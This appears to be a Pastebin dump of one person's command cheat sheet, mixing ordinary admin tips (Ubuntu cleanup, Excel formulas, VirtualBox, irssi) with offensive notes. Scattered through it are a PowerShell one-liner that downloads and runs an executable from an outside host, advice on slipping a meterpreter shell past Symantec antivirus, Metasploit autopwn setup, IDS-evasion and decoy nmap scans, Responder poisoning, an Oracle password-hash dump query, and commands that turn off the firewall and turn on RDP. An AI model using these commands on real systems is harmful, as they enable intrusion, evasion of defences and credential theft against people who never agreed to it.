API tools faq
paste
fxpelive

Untitled

fxpelive
Mar 17th, 2017
342
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 91.33 KB | None | 0 0
raw download clone embed print report diff
  1. # Virtualbox mount stuff FVWM2 stuff
  2. mount -t vboxsf delete /s
  3. nm-applet ( may need to apt-get remove --purge "network-manager" -y;apt-get autoremove -y ; rm -Rf /etc/NetworkManager )
  4.  
  5.  
  6.  
  7. # xss
  8. http://singularityx.wordpress.com/2013/01/11/stealing-passwords-with-autocomplete-and-xss/
  9.  
  10. # radar
  11. http://cybermap.kaspersky.com/
  12.  
  13. http://www.securitywizardry.com/radar.htm
  14.  
  15.  
  16. # flows using graphviz as rendering engine. It works like this:
  17.  
  18. * for %i in (*.pcap) tshark -r %i -q -z conv,tcp >> flows.txt
  19. * parseflows.py -i flows.txt -o pretty.pdf
  20.  
  21.  
  22. # shh VPN netblocks non routableish ..
  23. 25.0.0.0/8
  24. 14.0.0.0/8
  25. 5.0.0.0/8
  26.  
  27.  
  28. #malware sanbox
  29. sanboxie BSA
  30. https://malwr.com/ Malwr - Malware Analysis by Cuckoo Sandbox
  31. https://anubis.iseclab.org Anubis Malware Analysis for Unknown Binaries
  32. http://http://apac.pandasecurity.com/autovin-assistant Autovin-assistant - Panda Security Asia Pacific
  33. http://bitblaze.cs.berkeley.edu/ BitBlaze: Binary Analysis for Computer Security
  34. http://www.joesecurity.org/joe-sandbox-desktop Agile Malware Analysis - Joe Sandbox Desktop
  35. http://malbox.xjtu.edu.cn/ Malbox is a service for malware analysis
  36. http://www.threatexpert.com/submit.aspx ThreatExpert - Submit Your Sample Online
  37. https://vicheck.ca/ ViCheck.ca - Find embedded malware in documents, PDFs
  38. http://www.xandora.net/upload/ Xandora - Your Online Binary Analyser
  39.  
  40.  
  41.  
  42. Excel Hell
  43.  
  44. Join cells with commas =CONCATENATE(N8,",",O8,",",P8,",",Q8,",",R8)
  45. remove trailing commas = SUBSTITUTE(TRIM(SUBSTITUTE(U5, ",", " "))," ", ",")
  46. remove trailing commas ... with commas in them.. I know right : =LEFT(U2,LEN(U2)-(LEN(U2)-SEARCH(",,",U2)+1))
  47.  
  48. # lookup in exchange outlook api
  49. Public Function GetOffice1(var1)
  50.  
  51. Dim outApp As Object 'Application
  52. Dim outTI As Object 'TaskItem
  53. Dim outRec As Object 'Recipient
  54. Dim outAL As Object 'AddressList
  55.  
  56.  
  57. Set outApp = GetObject(, "Outlook.Application")
  58. Set outAL = outApp.Session.addressLists.Item("Global Address List")
  59. Set outTI = outApp.CreateItem(3)
  60.  
  61. outTI.Assign
  62.  
  63. Set outRec = outTI.Recipients.Add(var1)
  64. outRec.Resolve
  65. If outRec.Resolved Then
  66. 'MsgBox outRec.addressEntry.Name
  67. GetOffice1 = outRec.addressEntry.GetExchangeUser.OfficeLocation
  68. 'MsgBox outRec.addressEntry.GetExchangeUser.JobTitle
  69. 'MsgBox outRec.addressEntry.GetExchangeUser.
  70. 'MsgBox outAL.addressEntries(outRec.addressEntry.manager.Name).GetExchangeUser.Alias
  71. Else
  72. GetOffice1 = "Couldn't find Employee"
  73. End If
  74.  
  75.  
  76. End Function
  77.  
  78.  
  79.  
  80. # Private IP space used by at least tmobile ?
  81. 100.64.0.0 - 100.127.255.255
  82. 25.0.0.0/8
  83.  
  84. # CallRecorder Android
  85. Device: Samsung Galaxy S4 ( T-Mobile )
  86. Recording Method
  87. Standard API
  88.  
  89.  
  90. #Android Hardware keys kill app killall
  91. Back Key (long press) Kill App
  92.  
  93. # kill the god awful touchpad ...after disabling it via the systray settings...on startup...
  94. cax.exe /RUH "C:\Program Files\Synaptics\SynTP\SynTPEnh.exe"
  95. cax.exe /WAIT:10
  96. cat.exe /KILLALL syntp*
  97.  
  98.  
  99.  
  100. # WMP not in services list ... ok disable windows media player via cmd
  101. sc config "WMPNetworkSvc" start= disabled
  102.  
  103. #topports 2000 not 80ish for armitage
  104. db_nmap -vvv -sV -T4 -p 1,3-4,6-7,9,13,17,19-27,30,32-33,37,42-43,49,53,55,57,59,70,77,79,83-90,98-100,102,106,109-111,113,119,123,125,127,135,139,143-144,146,157,161,163,179,199,210-212,220,222-223,225,250-252,254-257,259,264,280,301,306,311,333,340,366,388-389,406-407,411,416-417,419,425,427,441,444-445,447,458,464-465,475,481,497,500,502,512-515,523-524,540-541,543-545,548,554-557,563,587,593,600,602,606,610,616-617,621,623,625,631,636,639,641,646,648,655,657,659-660,666-669,674,683-684,687,690-691,700-701,705,709-711,713-715,720,722,725-726,728-732,740,748-749,754,757-758,765,777-778,780,782-783,786-787,790,792,795,800-803,805-806,808,822-823,825,829,839-840,843,846,856,859,862,864,873-874,878,880,888,898,900-905,911-913,918,921-922,924,928,930-931,943,953,969,971,980-981,987,990,992-993,995-996,998-1002,1004-1015,1020-1114,1116-1119,1121-1128,1130-1132,1134-1138,1141,1143-1145,1147-1154,1156-1159,1162-1169,1173-1176,1179-1180,1182-1188,1190-1192,1194-1196,1198-1201,1204,1207-1213,1215-1218,1220-1223,1228-1229,1233-1234,1236,1239-1241,1243-1244,1247-1251,1259,1261-1262,1264,1268,1270-1272,1276-1277,1279,1282,1287,1290-1291,1296-1297,1299-1303,1305-1311,1314-1319,1321-1322,1324,1327-1328,1330-1331,1334,1336-1337,1339-1340,1347,1350-1353,1357,1413-1414,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1516,1521-1522,1524-1526,1533,1547,1550,1556,1558-1560,1565-1566,1569,1580,1583-1584,1592,1594,1598,1600,1605,1607,1615,1620,1622,1632,1635,1638,1641,1645,1658,1666,1677,1683,1687-1688,1691,1694,1699-1701,1703,1707-1709,1711-1713,1715,1717-1723,1730,1735-1736,1745,1750,1752-1753,1755,1761,1782-1783,1791-1792,1799-1801,1805-1808,1811-1812,1823,1825,1835,1839-1840,1858,1861-1864,1871,1875,1900-1901,1911-1912,1914,1918,1924,1927,1935,1947,1954,1958,1971-1976,1981,1984,1998-2013,2020-2022,2025,2030-2031,2033-2035,2038,2040-2049,2062,2065,2067-2070,2080-2083,2086-2087,2095-2096,2099-2101,2103-2107,2111-2112,2115,2119,2121,2124,2126,2134-2135,2142,2144,2148,2150,2160-2161,2170,2179,2187,2190-2191,2196-2197,2200-2201,2203,2222,2224,2232,2241,2250-2251,2253,2260-2262,2265,2269-2271,2280,2288,2291-2292,2300-2302,2304,2312-2313,2323,2325-2326,2330,2335,2340,2366,2371-2372,2381-2383,2391,2393-2394,2399,2401,2418,2425,2433,2435-2436,2438-2439,2449,2456,2463,2472,2492,2500-2501,2505,2522,2525,2531-2532,2550-2551,2557-2558,2567,2580,2583-2584,2598,2600-2602,2604-2608,2622-2623,2628,2631,2638,2644,2691,2700-2702,2706,2710-2712,2717-2718,2723,2725,2728,2734,2800,2804,2806,2809,2811-2812,2847,2850,2869,2875,2882,2888-2889,2898,2901-2903,2908-2910,2920,2930,2957-2958,2967-2968,2973,2984,2987-2988,2991,2997-2998,3000-3003,3005-3007,3011,3013-3014,3017,3023,3025,3030-3031,3050,3052,3057,3062-3063,3071,3077,3080,3089,3102-3103,3118-3119,3121,3128,3146,3162,3167-3168,3190,3200,3210-3211,3220-3221,3240,3260-3261,3263,3268-3269,3280-3281,3283,3291,3299-3301,3304,3306-3307,3310-3311,3319,3322-3325,3333-3334,3351,3362-3363,3365,3367-3372,3374,3376,3388-3390,3396,3399-3400,3404,3410,3414-3415,3419,3425,3430,3439,3443,3456,3476,3479,3483,3485-3486,3493,3497,3503,3505-3506,3511,3513-3515,3517,3519-3520,3526-3527,3530,3532,3546,3551,3577,3580,3586,3599-3600,3602-3603,3621-3622,3632,3636-3637,3652-3653,3656,3658-3659,3663,3669-3670,3672,3680-3681,3683-3684,3689-3690,3697,3700,3703,3712,3728,3731,3737,3742,3749,3765-3766,3784,3787-3788,3790,3792-3793,3795-3796,3798-3801,3803,3806,3808-3814,3817,3820,3823-3828,3830-3831,3837,3839,3842,3846-3853,3856,3859-3860,3863,3868-3872,3876,3878-3880,3882,3888-3890,3897,3899,3901-3902,3904-3909,3911,3913-3916,3918-3920,3922-3923,3928-3931,3935-3937,3940-3941,3943-3946,3948-3949,3952,3956-3957,3961-3964,3967-3969,3971-3972,3975,3979-3983,3986,3989-4007,4009-4010,4016,4020,4022,4024-4025,4029,4035-4036,4039-4040,4045,4056,4058,4065,4080,4087,4090,4096,4100-4101,4111-4113,4118-4121,4125-4126,4129,4135,4141,4143,4147,4158,4161,4164,4174,4190,4192,4200,4206,4220,4224,4234,4242,4252,4262,4279,4294,4297-4298,4300,4302,4321,4325,4328,4333,4342-4343,4355-4358,4369,4374-4376,4384,4388,4401,4407,4414-4415,4418,4430,4433,4442-4447,4449,4454,4464,4471,4476,4516-4517,4530,4534,4545,4550,4555,4558-4559,4567,4570,4599-4602,4606,4609,4644,4649,4658,4662,4665,4687,4689,4700,4712,4745,4760,4767,4770-4771,4778,4793,4800,4819,4848,4859-4860,4875-4877,4881,4899-4900,4903,4912,4931,4949,4998-5005,5009-5017,5020-5021,5023,5030,5033,5040,5050-5055,5060-5061,5063,5066,5070,5074,5080-5081,5087-5088,5090,5095-5096,5098,5100-5102,5111,5114,5120-5122,5125,5133,5137,5147,5151-5152,5190,5200-5202,5212,5214,5219,5221-5223,5225-5226,5233-5235,5242,5250,5252,5259,5261,5269,5279-5280,5291,5298,5339,5347,5353,5357,5370,5377,5405,5414,5423,5431-5433,5440-5442,5444,5457-5458,5473,5475,5500-5502,5510,5520,5544,5550,5552-5555,5557,5560,5566,5580,5631,5633,5666,5678-5680,5718,5730,5800-5803,5807,5810-5812,5815,5818,5822-5823,5825,5850,5859,5862,5868-5869,5877,5899-5907,5909-5911,5914-5915,5918,5922,5925,5938,5940,5950,5952,5959-5963,5968,5981,5987-5989,5998-6009,6017,6025,6050-6051,6059-6060,6068,6100-6101,6103,6106,6112,6123,6129,6156,6203,6222,6247,6346,6389,6481,6500,6502,6504,6510,6520,6543,6547,6550,6565-6567,6580,6600,6646,6662,6666-6670,6689,6692,6699,6711,6732,6779,6788-6789,6792,6839,6881,6896,6901,6969,7000-7004,7007,7010,7019,7024-7025,7050-7051,7070,7080,7100,7103,7106,7123,7200-7201,7241,7272,7278,7281,7402,7435,7438,7443,7496,7512,7625,7627,7676,7725,7741,7744,7749,7770,7777-7778,7800,7878,7900,7911,7913,7920-7921,7929,7937-7938,7999-8002,8007-8011,8015-8016,8019,8021-8022,8031,8042,8045,8050,8083-8090,8093,8095,8097-8100,8118,8180-8181,8189,8192-8194,8200,8222,8254,8290-8294,8300,8333,8383,8385,8400,8402,8443,8481,8500,8540,8600,8648-8649,8651-8652,8654,8675-8676,8686,8701,8765-8766,8800,8873,8877,8888-8889,8899,8987,8994,8996,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9098-9103,9110-9111,9152,9191,9197-9198,9200,9207,9220,9290,9409,9415,9418,9443-9444,9485,9500-9503,9535,9575,9593-9595,9600,9618,9621,9643,9666,9673,9815,9876-9878,9898,9900,9914,9917,9941,9943-9944,9968,9988,9992,9998-10005,10008-10012,10022-10025,10034,10058,10082-10083,10160,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,10873,11110-11111,11967,12000,12006,12021,12059,12174,12215,12262,12265,12345-12346,12380,12452,13456,13722,13724,13782-13783,14000,14238,14441-14442,15000-15004,15402,15660,15742,16000-16001,16012,16016,16018,16080,16113,16705,16800,16851,16992-16993,17595,17877,17988,18000,18018,18040,18101,18264,18988,19101,19283,19315,19350,19780,19801,19842,19900,20000,20002,20005,20031,20221-20222,20828,21571,21792,22222,22939,23052,23502,23796,24444,24800,25734-25735,26000,26214,26470,27000,27352-27353,27355-27357,27715,28201,28211,29672,29831,30000,30005,30704,30718,30951,31038,31337,31727,32768-32785,32791-32792,32803,32816,32822,32835,33354,33453,33554,33899,34571-34573,35500,35513,37839,38037,38185,38188,38292,39136,39376,39659,40000,40193,40811,40911,41064,41511,41523,42510,44176,44334,44442-44443,44501,44709,45100,46200,46996,47544,48080,49152-49161,49163-49165,49167-49168,49171,49175-49176,49186,49195,49236,49400-49401,49999-50003,50006,50050,50300,50389,50500,50636,50800,51103,51191,51413,51493,52660,52673,52710,52735,52822,52847-52851,52853,52869,53211,53313-53314,53535,54045,54328,55020,55055-55056,55555,55576,55600,56737-56738,57294,57665,57797,58001-58002,58080,58630,58632,58838,59110,59200-59202,60020,60123,60146,60443,60642,61532,61613,61900,62078,63331,64623,64680,65000,65129,65310,65389
  105.  
  106. # openvas greenbone cmd line scan
  107. omp -h 127.0.0.1 -p 9390 -u admin -w password -X "<create_target><name>$RANDOM</name><hosts>"
  108. `for i in `seq 1 255` ;do echo 192.168.1.$i",";done | tr -d '\n'`
  109. "</hosts></create_target>"
  110.  
  111. # ubuntu Install security updates only
  112.  
  113. apt-get -s dist-upgrade | grep "^Inst" | grep -i securi | awk -F " " {'print $2'} | xargs apt-get install
  114.  
  115.  
  116. # remove crap in ubuntu
  117. apt-get remove deja-dup -y
  118. for i in `apt-cache search ubuntuone|awk '{print $1}'`;do apt-get remove $i -y ;done
  119. apt-get remove rhythmbox-plugin-zeitgeist geoclue geoclue-ubuntu-geoip geoip-database whoopsie -y
  120. echo exit 0 > /etc/default/ntpdate
  121. apt-get --yes purge unity-asset-pool unity-lens-* unity-scope-*
  122. cd /etc/xdg/autostart/
  123. sed --in-place 's/NoDisplay=true/NoDisplay=false/g' *.desktop
  124. apt-get remove update-manager update-notifier -y
  125. for i in `apt-cache search musicstore|awk '{print $1}'`;do apt-get remove $i -y ;done
  126. for i in `apt-cache search empathy|awk '{print $1}'` ;do apt-get remove $i -y;done
  127. apt-get remove -y indicator-messages
  128. killall indicator-messages-service
  129. killall unity-panel-service
  130.  
  131.  
  132. # install ipad apps ipa from command line
  133. # find all the IPA files and extract them
  134. find . -name "*.ipa" -exec unzip -o '{}' \;
  135. # set the parms to the extracted zips
  136. chmod -R 777 ./Payload
  137. # move the apps to the /Applicatoins folder
  138. mv ./Payload/* /Applicatoins/
  139.  
  140.  
  141.  
  142. #bash web dump links lynx
  143. lynx -width=999 -source -nolist URL
  144.  
  145. #winrar windows mass extract
  146. for /f "delims=" %%i IN ('dir/s/b *.rar') do (
  147. C:\usb\media\WinRAR\WinRAR.exe x "%%i" "%CD%"
  148. )
  149.  
  150.  
  151. #recon
  152. pushpin
  153. threatagent
  154. jigsaw.rb
  155. https://scans.io/
  156.  
  157.  
  158. #record
  159. tcpdump -w dump.pcap -i eth0
  160.  
  161. # rewrite
  162. tcprewrite --infile=dump.pcap --outfile=temp1.pcap --dstipmap=0.0.0.0/0:192.168.1.20 --enet-dmac=E0:DB:55:CC:13:F1
  163. tcprewrite --infile=temp1.pcap --outfile=temp2.pcap --srcipmap=0.0.0.0/0:192.168.1.10 --enet-smac=84:A5:C8:BB:58:1A
  164. tcprewrite --infile=temp2.pcap --outfile=final.pcap --fixcsum
  165. sudo tcpreplay --intf1=eth0 final.pcap
  166.  
  167. # playback 100x fulls speed
  168. tcpreplay .t --loop=100 --intf1=eth0 final.pcap
  169.  
  170.  
  171. #sharepoint hackin'
  172. sparty
  173. horse
  174. SPScan
  175.  
  176. # exchange 2007
  177. setup.com /PrepareSchema
  178. Setup.com /PrepareAD
  179.  
  180. setup.com /PrepareLegacyExchangePermissions
  181. setup.com /PrepareSchema
  182. setup.com /PrepareAD
  183. setup.com /PrepareAllDomains
  184.  
  185. # auto login
  186.  
  187. reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "DefaultUserName" /d "Administrator" /f
  188. reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "DefaultPassword" /d "OMGYERPASSWORD" /f
  189. reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "AdminAutoLogin" /d "1" /f
  190.  
  191.  
  192. # block youtube annotatoins
  193. This is for anyone who runs adblock plus in firefox (should work in chrome as well) and wants to disable the annoying annotations / popups on youtube. If you have adblock installed just do the following:
  194.  
  195. Firefox>tools>adblock plus>filter preferences
  196.  
  197. Click add filter group, name the filter whatever you like and then in filter actions click paste after you have copied the text below.
  198.  
  199. Quote:
  200. ||youtube.com/annotations_
  201.  
  202. # responder
  203. python Responder.py -i 192.168.1.109 -b 1 -r 1 -w On --lm=1
  204.  
  205. # oracle oclhashcat table dump
  206. SELECT password,spare4,name FROM sys.user$ WHERE password is not null;
  207.  
  208. # MSF UAC
  209. In our experience, we can get a shell even with SEP NTP enabled. We used bind_tcp instead of reverse_tcp after lots of testing. It looks like SEP only recognized reverse meterpreter but not the bind_tcp. Here are the steps we did:
  210. 1. Fragmented all our traffic (fragrouter)
  211. 2. Set MTU to 24
  212. I don.t know if the above has any effect at all. We haven.t looked into it.
  213. On metasploit
  214. 1. We set the TCP_MAX_SENDSIZE to 3 or 4
  215. 2. Used meterpreter bind_tcp.
  216. I hope this will be of some help.
  217.  
  218. https://github.com/mattifestation/PowerSploit
  219.  
  220.  
  221. http://hak5.org/category/episodes/metasploit-minute
  222.  
  223.  
  224. # autopwn with new MSF bin
  225. # download autopwn
  226. cd /opt/metasploit/apps/pro/msf3/plugins/
  227. wget 'https://raw.github.com/neinwechter/metasploit-framework/autopwn-modules/plugins/db_autopwn.rb'
  228.  
  229. # get postgres password
  230. cat /opt/metasploit/apps/pro/msf3/config/database.yml
  231.  
  232. # remove plugin
  233. find /opt -iname "*trans2open*" -exec rm '{}' \;
  234.  
  235.  
  236. # start MSF
  237. load db_autopwn
  238.  
  239. # clear the DB
  240. # pg_hba.conf local all all trust restart postgres
  241. psql msf3 -U msf3
  242. DELETE FROM hosts;
  243. DELETE FROM services;
  244. DELETE FROM events;
  245. DELETE FROM notes;
  246. DELETE FROM creds;
  247. DELETE FROM loots;
  248. DELETE FROM sessions;
  249. DELETE FROM clients;
  250. \q
  251.  
  252. # gogo
  253. db_nmap -p 445 10.0.2.2
  254. db_autopwn -p -t -e -v
  255.  
  256.  
  257.  
  258.  
  259. # IDS Evasion for NFS, example of different options
  260.  
  261. nmap --spoof-mac Apple --traceroute -T1 --data-length 9 -f -D 192.168.1.2,ME,RND:5 -v -n -O -sV -oA ~/scan.txt --log-errors -p T:111,1110,2049,4045,U:111,1110,2049,4045 --randomize-hosts 192.168.1.1-10
  262.  
  263.  
  264. # peg GPU OCLHASHCAT
  265. --attack-mode 3 --gpu-accel 160 --gpu-loops 1024 --runtime 9000 --force --custom-charset1 ?l?d?s?u --hash-type 131 0x0100aaaaaaaa0000000000000000000000000000000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
  266.  
  267. # dhcp
  268. netsh interface ipv4 set address name="LAN" dhcp
  269. netsh interface ipv4 set dnsservers name="LAN" source=dhcp
  270.  
  271. # STATIC IP
  272.  
  273. c:\windows\System32\ipconfig.exe /release
  274.  
  275. netsh interface ipv4 set address name="LAN" source=static address=172.16.2.XXX mask=255.255.252.0 gateway=172.16.1.1
  276.  
  277. netsh interface ipv4 add dnsserver name="LAN" address=172.16.2.253 index=1
  278. netsh interface ipv4 add dnsserver name="LAN" address=198.6.1.2 index=2
  279.  
  280. Spiderlabs Responder
  281. python Responder.py -i 10.0.0.10 -b 1 -r 1 -w On --lm=1
  282.  
  283.  
  284. # metagoofil checkout
  285. checkout http://metagoofil.googlecode.com/svn/trunk/ metagoofil-read-only
  286.  
  287.  
  288. # dump script
  289. python metagoofil.py -d $1 -t xlsx -l 500 -n 500 -o $1files -f xlsx_results.html
  290. python metagoofil.py -d $1 -t docx -l 500 -n 500 -o $1files -f docx_results.html
  291. python metagoofil.py -d $1 -t pptx -l 500 -n 500 -o $1files -f pptx_results.html
  292.  
  293. python metagoofil.py -d $1 -t xls -l 500 -n 500 -o $1files -f xls_results.html
  294. python metagoofil.py -d $1 -t doc -l 500 -n 500 -o $1files -f doc_results.html
  295. python metagoofil.py -d $1 -t ppt -l 500 -n 500 -o $1files -f ppt_results.html
  296.  
  297. python metagoofil.py -d $1 -t pdf -l 500 -n 500 -o $1files -f pdf_results.html
  298.  
  299.  
  300.  
  301. # fix stupid trim file names ...
  302. rename 's/^(.{32}).*(\..*)$/$1$2/' *
  303.  
  304.  
  305.  
  306. nmap compile
  307. ./configure --without-zenmap --without-ncat --with-libpcap=included
  308.  
  309. nmap ping scan
  310. nmap --script broadcast-ping -oA ping_all -n -sP
  311.  
  312. How to increase mouse sensitivity beyond limits in Windows Regedit
  313. reg add "HKCU\Control Panel\Mouse" /v "MouseSpeed" /d "2" /f
  314. reg add "HKCU\Control Panel\Mouse" /v "MouseThreshold1" /d "0" /f
  315. reg add "HKCU\Control Panel\Mouse" /v "MouseThreshold2" /d "0" /f
  316. taskkill /im explorer.exe /f
  317. explorer
  318.  
  319. 07/03/2013 - How can I prevent Ask.com Toolbar from being installed every time Java is updated
  320. Reg Add "HKLM\SOFTWARE\JavaSoft" /V "SPONSORS" /D DISABLE /T reg_sz /F
  321. Reg Add "HKLM\SOFTWARE\Wow6432Node\JavaSoft" /V "SPONSORS" /D DISABLE /T reg_sz /F
  322.  
  323.  
  324.  
  325.  
  326.  
  327. 06/30/2013 - Disable Skydrive/Upload Center in Office 2013
  328. Reg Add "HKCU\software\policies\microsoft\office\common\webintegration" /V "webintegrationenabled" /D 0 /T REG_DWORD /F
  329. Reg Add "HKLM\software\policies\microsoft\office\common\webintegration" /V "webintegrationenabled" /D 0 /T REG_DWORD /F
  330. Reg Add "HKCU\Software\Microsoft\Office\15.0\Common\SignIn" /V "SignInOptions" /D 3 /T REG_DWORD /F
  331. Reg Add "HKLM\Software\Microsoft\Office\15.0\Common\SignIn" /V "SignInOptions" /D 3 /T REG_DWORD /F
  332. del /s/q c:\MSOUC.EXE
  333. del /s/q c:\MSOSYNC.EXE
  334.  
  335. # BS buttons
  336. http://instantrimshot.com/classic/?sound=coughbullshit
  337.  
  338. Penetration Testing Frameworks:
  339.  
  340. 1. iOS
  341. Tools:- iNalyzer (cydia), isafePlay, Burp for manipulating iOS apps.
  342. And follow the traditional assessment (https://www.owasp.org/index.php/IOS_Application_Security_Testing_Cheat_Sheet)
  343. 2. Android
  344. SmartPhone PenTest Framework (http://www.bulbsecurity.com/smartphone-pentest-framework/), Android SDK, OWASP LAPSE+, Burp can be used to conduct the testing. SPF can also be used to integrate with metasploit,SET etc.
  345. 3. Windows Phone 7 and below
  346. Windows SDK (need a developer account) and Charles/Burp proxy is a good combination to conduct the assessments.
  347. 4. BlackBerry - does provide a rigorous security screening process that submitted apps must pass in order to be listed in the store, but still we can still use the traditional android framework to test the apps designed for BB ( limited to java).
  348.  
  349.  
  350. # password manager command line for windows key manager / stored usernames and passwords windows 7
  351. rundll32.exe keymgr.dll,KRShowKeyMgr
  352. control keymgr.dll
  353.  
  354. # chown xcalcs calcs
  355. FOR /F "delims==" %%A IN ('dir /b') DO cacls.exe "%%A" /T /E /G everyone:f
  356. find . -maxdepth 3 -exec cacls.exe '{}' /T /E /G everyone:f \;
  357.  
  358. # windows compatibility mode compat command line.
  359. set __COMPAT_LAYER=WinXPSP3
  360.  
  361. # fix windows boot loader
  362. ms-sys --mbr /dev/sdx
  363. # or
  364. apt-get install syslinux
  365. dd if=/usr/lib/syslinux/mbr.bin of=/dev/sdx
  366. # or
  367. apt-get install mbr
  368. install-mbr -i n -p D -t 0 /dev/sdx
  369.  
  370. #disable windows firewall windows 7
  371. netsh advfirewall set AllProfiles state off
  372.  
  373. #enable RDP over CLI
  374. reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  375.  
  376. # kill RDP logins and force logoff sessionts
  377. qwinsta
  378. rwinsta
  379. # logoff sessions
  380. logoff 1
  381.  
  382.  
  383. # psexec winexe
  384. winexe --user admin --password=password //192.168.1.250 c:\\windows\\system32\\nnplus.bat
  385.  
  386. # java tricks
  387. javascript:document.body.contentEditable='true'; document.designMode='on'; void 0
  388. javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);
  389.  
  390.  
  391.  
  392. # open with in ubuntu
  393. # gedit ~/.gnome2/nautilus-scripts/Open\ with\ gedit
  394. filesall=."
  395. while [ $# -gt 0 ]
  396. do
  397. files=`echo .$1. | sed .s/ /\?/g.`
  398. filesall=.$files $filesall.
  399. shift
  400. done
  401. mplayer -vc ffvc1vdpau,ffwmvvdpau,ffh264vdpau,ffmpeg12vdpau -vo vdpau -ac hwdts,hwac3, -ao alsa:device=spdif -cache 8192 -fs -zoom -quiet $filesall&
  402.  
  403.  
  404. #irssi
  405. #/NETWORK ADD irc.freenode.net -autosendcmd "/^msg nickserv ident password;wait 2000"
  406. /NETWORK ADD irc.freenode.net
  407. /SERVER ADD -auto -network irc.freenode.net irc.freenode.net 6667
  408. /CHANNEL ADD -auto #infonomicon irc.freenode.net
  409.  
  410.  
  411. # irssi aliases in conf
  412. 1 = "/^msg NickServ ghost operat0r password";
  413. 2 = "/^nick operat0r";
  414. 3 = "/^msg NickServ identify operat0r password";
  415. 4 = "/^msg NickServ identify password";
  416. m = "wait 5000;/window 2;wait 5000;/window show 2;wait 9000;/window show 3;wait 9000;/window show 4;wait 9000;/win balance;wait 5000;/clear -all";
  417.  
  418.  
  419. # example image dump
  420. wget -q --no-clobber -P pics -H -nd -r -Dimages.4chan.org -A '.jpg,.jpeg,.png,.gif,' -U 'rmccurdyDOTcom' -e robots=off http://boards.4chan.org/b/
  421.  
  422.  
  423.  
  424. # purge security onion
  425. nsm_sensor_clean --force-yes
  426. rm -rf /nsm/sensor_data/*/dailylogs/*
  427. sguil-db-purge
  428. rm -Rf /nsm/bro/spool/tmp/
  429.  
  430.  
  431.  
  432. # disable ipv6 win7
  433. netsh interface teredo set state disabled
  434. netsh interface ipv6 6to4 set state state=disabled undoonstop=disabled
  435. netsh interface ipv6 isatap set state state=disabled
  436.  
  437. #disable firefox plugin check : in about:config add FAIL in front of plugins.update.url and rename the DLL or plugin restart FF !
  438.  
  439. # exploit-db.com checkout svn checkout
  440. wget exploit-db.com/archive.tar.bz2
  441.  
  442. # weather radar on liner wunderground
  443. radblast-aws.wunderground.com/cgi-bin/radar/WUNIDS_map?station=FFC&brand=wui&num=10&delay=15&type=N0R&frame=0&scale=1.000&noclutter=0&t=1361486454&lat=34.02500916&lon=-84.31282806&label=RMCCURDY.COM&showstorms=0&map.x=400&map.y=240&centerx=400&centery=240&transx=0&transy=0&showlabels=1&severe=0&rainsnow=0&lightning=0&smooth=0
  444.  
  445. #powershell
  446. powershell (new-object System.Net.WebClient).DownloadFile('http://rmccurdy.com/scripts/quickvnc.exe','%TEMP%\quickvnc.exe');Start-Process "%TEMP%\quickvnc.exe"
  447.  
  448.  
  449.  
  450. # NX client FreeNX
  451. # line to use in custom for ubuntu
  452. gnome-session --session=ubuntu-2d
  453.  
  454.  
  455. # stupid webalizer ...
  456. find /var/log/apache2/access.log* -exec webalizer -c /etc/webalizer/webalizer.conf '{}' \;
  457.  
  458.  
  459. # wipe irssi conf and setup
  460. rm -Rf ~./.irssi
  461. /NETWORK ADD synirc
  462. /SERVER ADD -auto -network synirc irc.synirc.net 6667
  463. /CHANNEL ADD -auto #newznab synirc
  464. /SET autolog ON
  465. /SET autolog_level ALL
  466.  
  467.  
  468. /alias hideadd eval set activity_hide_targets $activity_hide_targets $-
  469. /alias hideclear set -c activity_hide_targets
  470. /alias hidelevels.clear set -c activity_hide_level
  471. /alias hidelevels.set set activity_hide_level parts joins quits nicks modes
  472. /alias hidelist set activity_hide_targets
  473. /alias hideset set activity_hide_targets $-
  474.  
  475. /hideadd
  476. /hideclear
  477. /hidelevels.clear
  478. /hidelevels.set
  479. /hidelist
  480. /hideset
  481. /ignore -channels #newznab * JOINS PARTS QUITS NICKS
  482.  
  483.  
  484.  
  485.  
  486. # virtualbox vbox headless vbs script
  487. Set WshShell = WScript.CreateObject("WScript.Shell")
  488. obj = WshShell.Run("C:\Progra~1\Oracle\VirtualBox\VBoxHeadless.exe -s nnplus64", 0)
  489. set WshShell = Nothing
  490.  
  491.  
  492. # compress dynamic disk in virtualbox
  493. dd if=/dev/zero of=/zerofile; sudo rm /zerofile
  494. dd if=/dev/zero of=/zerofile; sudo rm /zerofile
  495. VBoxManage modifyhd nnplus2.vdi -compact
  496.  
  497.  
  498.  
  499. # start vbox vm
  500. VBoxHeadless -s nnplus
  501.  
  502. # start a vm hidden/headless
  503. powershell start-process 'C:\Program Files\Oracle\VirtualBox\vboxheadless' '-s nnplus64' -WindowStyle Hidden
  504.  
  505.  
  506. # wipe snapshot
  507. VBoxManage snapshot nnplus take clean
  508.  
  509. # shutdown via cmd
  510. VBoxManage controlvm "nnplus" powerof
  511.  
  512.  
  513. # backup conf files quickly before update
  514. locate "*.conf"|xargs tar -zcpf "/home/mythtv/CONF_ZIP_`date +%Y%m%d`.tar.gz"
  515.  
  516. IP to Site
  517. http://www.ip866.com/reverse.aspx
  518. http://www.myipneighbors.com
  519. http://www.yougetsignal.com/tools/web-sites-on-web-server
  520. http://ip.wen.la
  521. http://www.114best.com/ip/
  522. http://www.zzstat.com/ip_domain.html
  523. http://whois.webhosting.info
  524. http://www.bm8.com.cn/myip
  525. http://www.seores.com/search/checkdomainfromip.asp
